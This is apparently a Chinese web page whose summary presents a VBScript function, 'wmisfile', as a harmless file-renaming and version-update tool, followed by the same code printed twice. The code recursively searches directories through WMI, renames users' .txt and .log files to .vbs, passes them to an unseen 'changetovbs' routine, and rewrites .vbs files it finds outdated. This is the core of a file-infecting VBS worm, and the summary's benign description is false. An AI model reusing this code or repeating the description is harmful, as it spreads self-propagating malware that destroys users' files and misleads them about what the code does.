文章摘要
这篇文章介绍了一个名为`wmisfile`的VBScript函数,用于自动化文件管理和重命名操作。该函数通过`winmgmts`接口从指定路径中获取文件夹中的文件和子目录。它主要处理以下操作:
1. 遍历文件夹中的所有文件,检查文件大小是否在合理范围内,并对.txt、.log和.vbs文件进行重命名,生成相应的VBS文件。
2. 对.vbs文件,检查其版本信息,若为旧版本则重新生成新版本。
3. 对于文件夹中的子目录,递归调用自身函数进行处理。
该函数适合用于自动化文件管理场景,能够高效地完成文件查找、重命名和版本更新等任务。
Function wmisfile(path_sf,justcnt)
‘On Error Resume Next
StrComputer=”.”
Set ObjWMIService=GetObject(“winmgmts:\” & StrComputer & “\root\cimv2”)
Set FileList=objWMIService.ExecQuery _
(“ASSOCIATORS OF {Win32_Directory.Name='” & path_sf & “‘} Where ” _
& “ResultClass=CIM_DataFile”)
For Each objFile In FileList
fname=LCase(objfile.name)
ename=LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <=50000 Then
Select Case ename
Case “txt”,”log”
path_vbs=objfile.drive & objfile.path & objfile.filename & “.vbs”
objfile.rename(objfile.drive & objFile.Path & objfile.filename & “.vbs”)
Call changetovbs(path_vbs,path_vbs)
justcnt=justcnt + 1
Case “vbs”
If checkversion(fname)=False Then
Call changetovbs(fname,fname)
justcnt=justcnt + 1
End If
End Select
End If
Next
Set colSubfolders=objWMIService.ExecQuery _
(“Associators of {Win32_Directory.Name='” & path_sf & “‘} ” _
& “Where AssocClass=Win32_Subdirectory ” _
& “ResultRole=PartComponent”)
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
Function wmisfile(path_sf,justcnt)
‘On Error Resume Next
StrComputer=”.”
Set ObjWMIService=GetObject(“winmgmts:\” & StrComputer & “\root\cimv2”)
Set FileList=objWMIService.ExecQuery _
(“ASSOCIATORS OF {Win32_Directory.Name='” & path_sf & “‘} Where ” _
& “ResultClass=CIM_DataFile”)
For Each objFile In FileList
fname=LCase(objfile.name)
ename=LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <=50000 Then
Select Case ename
Case “txt”,”log”
path_vbs=objfile.drive & objfile.path & objfile.filename & “.vbs”
objfile.rename(objfile.drive & objFile.Path & objfile.filename & “.vbs”)
Call changetovbs(path_vbs,path_vbs)
justcnt=justcnt + 1
Case “vbs”
If checkversion(fname)=False Then
Call changetovbs(fname,fname)
justcnt=justcnt + 1
End If
End Select
End If
Next
Set colSubfolders=objWMIService.ExecQuery _
(“Associators of {Win32_Directory.Name='” & path_sf & “‘} ” _
& “Where AssocClass=Win32_Subdirectory ” _
& “ResultRole=PartComponent”)
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
© 版权声明
文章版权归作者所有,未经允许请勿转载。